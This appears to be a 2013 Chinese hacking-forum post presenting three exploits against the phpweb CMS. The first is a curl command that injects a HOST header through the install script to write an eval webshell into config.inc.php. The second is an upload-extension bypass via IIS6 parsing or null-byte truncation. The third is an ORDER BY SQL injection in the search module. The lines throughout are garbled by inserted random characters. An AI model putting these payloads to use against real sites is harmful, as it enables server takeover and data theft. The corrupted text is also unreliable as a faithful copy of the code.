找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2426|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
! y! d5 m' i" z/ G+ M" H; E% w* N* Y9 x: E  F3 ^! x
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ C& A, ]1 S( ]+ E2 m' v8 |" w : Q$ \+ M- I4 F. A; L
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 z; f$ n. f, z8 k
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 g( d5 Z0 Y( G7 h/ F% p
; H4 i% L9 H( {6 Z/ T  c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, \+ X  p' y$ P) q: h4 o
, R) Q* C/ K1 P0 x
分析:  k  l9 d4 B. d! P% Z. b9 U3 S3 V1 r

- O% b  d# c/ K
9 c1 y/ U3 i6 j, O) F3 `' ~$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤( `$ ~3 v6 \4 ]+ r
, L+ I7 Y+ D! I# |! c1 Q% P. i
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);, K2 g: `) ]  F7 f0 F: X( P# B# G
                                            $filestr=str_replace(" ","",$filestr);
" n; C" O& _* r- b1 A! ]  n                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
; R6 b4 x, q9 Q& b* y6 e                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
& P2 i! q" S; z; ]                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 h9 f7 f) ?% P7 _& d4 n9 X                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, w+ k8 V  K' _3 T: d                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 V5 ^9 a8 Z: b) B' @                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
6 k- f' Q( d( ]4 F0 r8 |                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ v* ]5 F, |/ d- T4 o1 A% V3 T
/ U* I( ?9 @! M
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
$ T7 h- P  y1 X6 e5 k. _& C$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
4 F: \% n, a. e! z3 |
! v1 N* E, j8 q- e4 L; W/ \poc:5 r9 R5 e7 Y8 [1 H2 z

( o8 T9 B% L" k& {4 T?- Q! H6 [; k* u5 _1 O
1
/ ?6 b) T4 }. @/ U- i( ecurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
! p5 Y, a, `+ s6 p" b1 T& |# bshell地址: /config.inc.php
5 _5 w$ X' n% `  k) T5 P  g2 Y  w3 K跟之前的 phpcms一样 需要远程数据库
% T" E& J  ^* N" u/ M" h
: V; Q% y' W1 f- [2 z——————————————————–
: Y4 p, O, K: h' E2 E% j3 |/ ?上传漏洞(需要进后台):) g  V% j" u3 p5 U2 K) C. W
漏洞文件: /kedit/upload_cgi/upload.php7 J* s1 a! ~2 _4 n2 j; ]
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 G- A( X* u) r4 R- {6 _

0 H5 \; T6 _, I) P3 u" h! p & ]$ m' o4 l! d. k! n
<?php
& M5 v+ O$ z- _$ F  _" H& ?6 p    define("ROOTPATH", "../../");
! w/ _5 a! j" a2 y4 G    include(ROOTPATH."includes/admin.inc.php");
. i0 }( f- Q8 L1 N2 o6 R' T    NeedAuth(0);
7 F5 K! r9 M* }& Y" V: E4 f- a
  I! C( W  w8 O    $dt=date("Ymd",time());
4 |$ b7 M. g* f" K" ^0 X) K2 `    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){$ ?7 l8 T% f( S9 X. t* p# W
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
& a9 [; n8 R0 B1 o) X- K0 G    }, s4 C: z1 |) M
# x( f% [" {7 O8 M% t
    //文件保存目录路径2 }8 {8 c7 ^. j3 ~- m
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
( M" K  m& X1 s# I+ \    echo $save_path;
* p$ g, F7 }* V0 g# `    //文件保存目录URL
* h& P( t3 ?1 H  F    $save_url = '../../'.$_POST['attachPath'].$dt.'/';! F0 P- B4 T9 s9 Y5 C- g* T) y% X
/ L  t8 T) c0 z' ?: M
    //定义允许上传的文件扩展名
% ~! G0 d" y0 O4 s    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀# _: r( z% A4 ?; t; r2 s
, o/ D. Q9 M' }& K* N* J" K
    //最大文件大小
! X; r0 _( d  m4 v7 i& C/ u    $max_size = 1000000;
4 P2 o( ?6 G8 c: ?! `9 W- K/ U 5 Z- u- Y$ t* ^% [
    //更改目录权限  ^+ x* W8 Z( }
    @mkdir($save_path, 0777);  S" d3 g, V" B9 i" X; U1 q# V% N
$ w5 @2 W: f1 _( `
    //文件的全部路径1 b0 r4 o% r- E6 p3 M9 }" @* j
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
* H$ g$ C! X3 |- N& k
0 d  Z8 O# H1 b7 X( d* K/ ^$ T    //文件URL$ s( i& O% |+ u7 m: P4 ~
    $file_url = $save_url.$_POST['fileName'];
. G. T4 G/ C- d) ~6 Y//有上传文件时- s( J7 A1 f# B; U3 F* j
    if (empty($_FILES) === false) {
% A- Z0 S' W0 L0 j% |5 X* m/ S/ M+ F
; d3 \2 e8 Y5 @6 j& \  M            //原文件名
) r# Y7 D" n% N9 A2 \9 E/ M            $file_name = $_FILES['fileData']['name'];
& h% f; i; L9 S; L. k            //服务器上临时文件名" A- q4 M6 n  S
            $tmp_name = $_FILES['fileData']['tmp_name'];$ ~" h* o# g2 N1 `# q, k! S, c
            //文件大小
# _5 @( ^8 |2 {% r2 d; l            $file_size = $_FILES['fileData']['size'];
9 _- D9 `' r3 |8 s/ ^9 [            //检查目录" S( o. S+ f  ^( W2 T' d
            if (@is_dir($save_path) === false) {
" k  A! H: e- U$ f; @7 C                    alert("上传目录不存在。");
! X3 u8 |1 _6 E8 F! d- Q. P2 ]            }
: n( X* g: |' {3 R5 U) e% i            //检查目录写权限& Z  ]3 X6 A7 w$ R4 b5 t
            if (@is_writable($save_path) === false) {
. Q+ Y: f2 ]* s  {                    alert("上传目录没有写权限。");) G6 n3 l- |) V
            }
4 c9 N8 O( A0 }* w            //检查是否已上传8 w: {" D/ A' a  s* \6 r
            if (@is_uploaded_file($tmp_name) === false) {
3 w2 C5 b, P3 p, v5 x                    alert("临时文件可能不是上传文件。");0 w% R' x3 D. W7 b
            }) K# X& t7 N- x8 g6 `
            //检查文件大小
2 C' ]. ]% X% w" j            if ($file_size > $max_size) {
& R- r9 V" U- G                    alert("上传文件大小超过限制。");% y8 M) h/ A* R; Z6 |; e# Q
            }
" O1 Z) x! A  g$ Y/ C            //获得文件扩展名, W& e' _8 M6 O( z/ x! ~
            $temp_arr = explode(".", $_POST['fileName']);
% S9 \% Y" j4 |& I6 V% x            $file_ext = array_pop($temp_arr);4 f$ u5 n- U  B# p3 s
            $file_ext = trim($file_ext);
/ N- T1 _8 X) ?- |% N            $file_ext = strtolower($file_ext);" {& F% L7 c" r8 v3 k
8 ]! d8 \8 a+ m( N3 m
            //检查扩展名   
6 N  J3 z6 \$ H6 `5 k            if (in_array($file_ext, $ext_arr) === false) {     # f$ l  r* F  S( N  f
                    alert("上传文件扩展名是不允许的扩展名。");
! F) z! U# [- T6 o; [            }2 Q* P0 s" a" M2 r* u5 j1 m

! @6 n% u: s, f" O/ T6 {            //移动文件   
) B- D( z, d7 @  a' N  {2 m4 ?            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
; h8 |3 x4 `" B& z, `! G% P) F            if (move_uploaded_file($tmp_name, $file_path) === false) {
8 S  d% G6 q( a4 K6 |/ a" |                    alert("上传文件失败。");
0 f+ b0 D7 j* R, a/ g. f' b            }. Y$ T% ^$ H6 T: M" v% B
( I$ I3 c+ U) ^. p8 q
            @chmod($file_path,0666);
, b# V4 z0 Q6 Y: Z % q3 Z, z3 G7 o3 P! E
    ?>* N' E, O# m9 {& R' G/ Y
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227" Z: G) Q+ ?: E, n, B! {

6 h/ I$ j0 w4 ]; [( Q' fapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' J9 M0 ^# J( y" K- S6 H
( b# [$ R( n% @# X. q1 Z——————————————————
% I7 R/ N% c0 z7 w# t& J注入漏洞:
) Z8 b& K" d( v  z漏洞文件:search/module/search.php& N- Q1 Y4 y& x! l8 ^
/search/index.php?key=1&myord=1 [sqlinjection], E4 G: a; B! Y: W- ?, w

5 O/ u1 q5 O' }! `- `
# u3 `7 D) D# R<?php: e7 ^/ Z  V6 d* O( \$ \; b3 N; r
   //       ... 省略 n 行...$ G+ {* y6 @2 B' c: [2 h
   //第18行:
& Y# a& u' @" z           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
: H- S$ l5 B5 |* a  G1 y: Z           $page=htmlspecialchars($_GET["page"]);
8 ?- C5 s/ y, a3 ?% |2 w+ O& m           $myord=htmlspecialchars($_GET["myord"]);) c: [% A7 X7 h  _+ `7 p4 d+ H, w
+ ~' r- Q9 {* Y6 @  @
   //       ... 省略 n 行...& _0 ]" a3 h" B2 T. _1 ]2 D! @8 {. L
   $key,$myord 两个参数带入查询
7 ~2 ^6 L0 i$ P7 j5 e* {   //第47行 $key:3 Q4 ]5 G+ G; h: C8 B1 e! |% R) [
9 Q4 g. P. E& ^3 {* u
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 ^- [7 H! }- G! b/ s 2 [0 x# O2 L7 p- f4 Y
   //第197行 $myord
& p) f; k/ b1 r4 V   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入6 o! k- l5 [  o$ |' i: \; y6 N9 w

; P+ T6 \4 @# A, }6 s   ?>4 u# N3 z2 [7 l+ \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表